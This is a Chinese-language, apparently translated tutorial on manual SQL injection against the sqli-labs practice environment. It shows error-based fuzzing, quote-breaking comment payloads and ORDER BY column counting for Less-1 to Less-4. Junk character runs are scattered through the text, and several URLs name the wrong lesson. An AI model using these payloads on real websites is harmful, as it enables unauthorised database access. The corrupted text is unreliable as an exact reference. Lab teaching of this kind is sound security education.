, H8 i/ h4 f s/ ]6 G. Y8 DID=100 => 页面上没有结果显示 0 }& P! w6 L) _* Q/ d8 r7 j0 d结果枚举:数据库表中似乎有8条记录,任何不存在的ID值,它返回一个空集。& e9 t/ A* w/ x
模糊测试: 2 m* f* [- S s5 Y6 \
5 K" P7 |% [4 F- p: [$ K* {7 t1 @一般来说,应用程序开发人员假定用户将输入整数值。 尝试用模糊测试所有的应用程序输入点。 那么究竟什么是模糊? 这是一个过程,输入一些特殊意义的参数等,并尝试找到应用程序报错的差异反应。差异的报错表明可能存在漏洞。9 b/ c. G( I+ L* m
以下是一些任意的输入: * w- v) I" Z! u“ . k, T3 o9 q" I/ h- A+ ~# J
“ * E# k9 u* E. Z* t' C+ o. m
\ : Y8 V; X. a/ w( n8 x4 f" i! j2 m: L
; ! W: s0 S3 g: |8 U, l
%00 , ]: K/ V4 B; p! R g
) $ n$ I5 s% H6 x8 X' d1 B; l/ m! K" n( 1 ]# J4 v, v# J" r3 i
aaa . `5 {, I" I4 Y: Z L
整数或字符串测试:由于输入参数似乎是整数值,让我们尝试输入ID参数的字符串值,并观察其行为。 - M$ ~' B% d. d! p y! ~% FLess1: http://localhost/sqli-labs/Less-1/?id=asdf & f6 Z$ G! u; }6 Z* A. V( }6 OLess2: http://localhost/sqli-labs/Less-2/?id=asdf7 `- O n. k- J& @ [& F I8 @
/ [$ L9 I1 u. U4 i* N" sLess3: http://localhost/sqli-labs/Less-3/?id=asdf: y! `# I" b" j" M9 S; U# l/ X
Less4: http://localhost/sqli-labs/Less-4/?id=asdf# u+ ^2 M1 c# _8 A+ X
" e0 C3 S! M% y$ \6 P整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。 $ e* S9 n+ ?- O6 s2 ~- G2 j继续模糊化:现在,让我们进一步采取模糊的字符./ O9 C- V8 R+ X
用单引号来进行测试 . i2 W8 Q# @$ D& T5 wless1 9 C, A- e) R' r9 O2 ]http://localhost/sqli-labs/Less-1/?id=1‘ ; T0 z: m1 B7 T- B$ e* }You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1' L% E" m! w& e" K/ o# |% `2 D
less2 $ b1 f9 i0 p2 Q/ P/ ohttp://localhost/sqli-labs/Less-2/?id=1 ’ & @9 q& z. W6 B+ }You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1/ |# P6 ?! \! P) s( ]0 f
; H! S6 l. P, h0 F5 B! hless3: s8 f. `' S0 P' U# d6 {
http://localhost/sqli-labs/Less-3/?id=1 ’! Q$ w. O# ^9 `, Q% n1 {
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1; o! v5 S+ e! c, [7 R: U/ V3 _
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.! r9 D; C5 B% h/ ?) Z- k
用双引号进行测试 # s) z' }) S* \: t( b+ ]7 o/ h用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。 % E/ T' L3 B. {" i1 N3 z & F P1 C) ]6 f& b通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入. w( c1 `1 S$ c0 R 3 w, ^) z! O% X; _8 j
综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。' F* a0 \0 f: E F
用\进行测试 + i K7 p0 d5 r( B1 {0 u“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下: ' }6 ] j! ?$ @9 x& O/ ]( \less1 9 F8 [: I8 C- T# z6 khttp://localhost/sqli-labs/Less-1/?id=1\ ) h) _- \' p" C7 }You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 8 p- b6 x. |; w) `* D8 l5 j3 G: Vless2# ?' v! T* S5 ^: ^$ c( u' [/ ^0 S
http://localhost/sqli-labs/Less-2/?id=1\ 2 m2 [3 P2 Q! F; j0 X; {2 T+ d/ eYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 12 m: y; y# L. t2 W; [$ U
less3" c# K- f4 V8 w
http://localhost/sqli-labs/Less-3/?id=1\ }* _! T1 H5 c: L' ^You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1 ! _/ {, |7 d w0 {% W3 @1 _+ ~3 U3 Mless4 2 W/ b0 H6 n7 x" f" {5 D2 Ahttp://localhost/sqli-labs/Less-4/?id=1\ ) G& U$ }! x. F! [& {7 G5 @" c/ KYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 13 ?6 }9 F. a0 v' G* j) `( E% o
less1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 , D. G! T* ]2 I( c. uless2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。 4 e6 _9 `4 \/ V3 m) C. Z1 m( {less3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’). 7 H0 `5 V8 \, B- ^% e4 m2 {less4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”). + k& j, [5 h" u: C" W$ ?. H4 V$ c9 k$ K$ M这四种情况在后端查询中使用的语句实际分别为: ; E2 h0 _# @: H; B9 v' M2 ~9 k4 J2 ZLess-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 2 n! m) F6 s/ c( @$ b0 JLess-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1- i5 w- C/ S8 o5 n3 @7 P0 n; X& U ^
Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 * J9 S% s* u% A TLess-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,18 p7 l" S$ s- i6 Z& ?
5 a6 R, f- _- o$ d. H对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如:+ O$ |% c5 i. o1 X. v$ l6 s# z) ^
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,17 {5 H* I3 ]; |$ r, a7 F" l
当我们输入的参数$ID的值为1‘,查询语句就会变成如下: , x9 Y# S: S4 [, r; `7 q* iSELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,11 V- K- v' \# n3 g/ ~" S0 P+ w
现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法:% M4 s( Q, f0 u6 E# E2 S
方法一: - K6 b% c! [" r# h" F可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′# 0 X& E5 f. @- Y6 x查询语句将变为如下: ( K e1 _' b% X! q! i2 |- tSELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1& m2 r2 ?1 s P0 n: {2 Z5 ^
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,1 * D$ c+ o/ o5 W* b6 o0 S! h注射的完整URL如下: 5 h& ~( U' z* {' U% ]8 yhttp://localhost/sqli-labs/Less-1/?id=1′–+ ! b/ Y" h: B2 G5 ~ yhttp://localhost/sqli-labs/Less-1/?id=1′ %23% _; l' p; d# h4 D: s6 B* ?! e$ R: G
(%23是#号的url编码)1 {* Q* A: u& R: T
在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: / e, F. d+ S$ w: B( Phttp://localhost/sqli-labs/Less-2/?id=1–+ ) w9 t+ C3 m7 j7 k + Y0 c- B2 e" @' a* P8 Yttp://localhost/sqli-labs/Less-2/?id=1 %23& J( H; `4 M# n5 F
SELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1 9 n1 c4 e x1 [ e- z" \SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1 + ?/ l. N7 D( @- } g在less3中,我们推断后端sql语句如下: 8 n8 t7 x) g1 P+ n+ m. lSELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 4 u1 B% @# I( _5 G; T0 `所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句( t$ a5 b6 Y9 v7 _, w1 A
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,17 a0 ?4 c. o/ X& r
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 + K; |* k6 Z/ Y% t. K0 o注射: 1′) –+ 1′) # 4 Y# V1 j$ q! r完整的注射URL:/ C" ]" v! I, I! t
http://localhost/sqli-labs/Less-2/?id=1‘)-+/ Q$ @+ D8 e3 T6 R1 C
http://localhost/sqli-labs/Less-2/?id=1′) %230 r2 o8 `, i5 P/ I" r" O6 ]; [
在less4中,我们推广后端sql语句如下:8 u! H% e; B0 B
SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 4 r$ k5 E4 j2 e同样,需要关闭掉分隔符,然后注释掉后面的语句 \& v, H4 \" m* q* ?SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,11 s' E' N9 y6 J" n
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1 $ w# i4 s+ H* _ l% Z注射: 1″) –+ 1″) # 4 W" Q; a8 q2 ^9 ^http://localhost/sqli-labs/Less-2/?id=1″)–+ , I$ C( {" p Y: Nhttp://localhost/sqli-labs/Less-2/?id=1 “)%23 8 z# }, A, t7 ~ Q2 p; \通过查询了解表中的字段数3 e% L. A0 s' ?8 R9 N
正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。2 k" [) c5 J4 R5 s4 J
下面我们测试用order by 1,order by 2……等来查询观察结果. 3 @ f! |& a* U. R8 Ohttp://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面9 |6 u" Q7 y% F' Y* q
http://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列. 0 I; M/ {9 W$ q7 FLesson2: % J$ Y& K8 S9 D0 {! J2 _2 k) }, i. t- RInjection: 1 ORDER BY 1 –+ => 没有错误.3 a4 C4 F$ n% R7 T, l
Injection: 1 ORDER BY 2–+ => 没有错误. % y) v7 ]+ t$ tInjection: 1 ORDER BY 3 –+ => 没有错误. z3 J0 {5 E% RInjection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列. , M m b/ Z( p, p% ^当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 , ]. b& e* a& H! s ! A* L* ]8 w; d* L D$ m本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。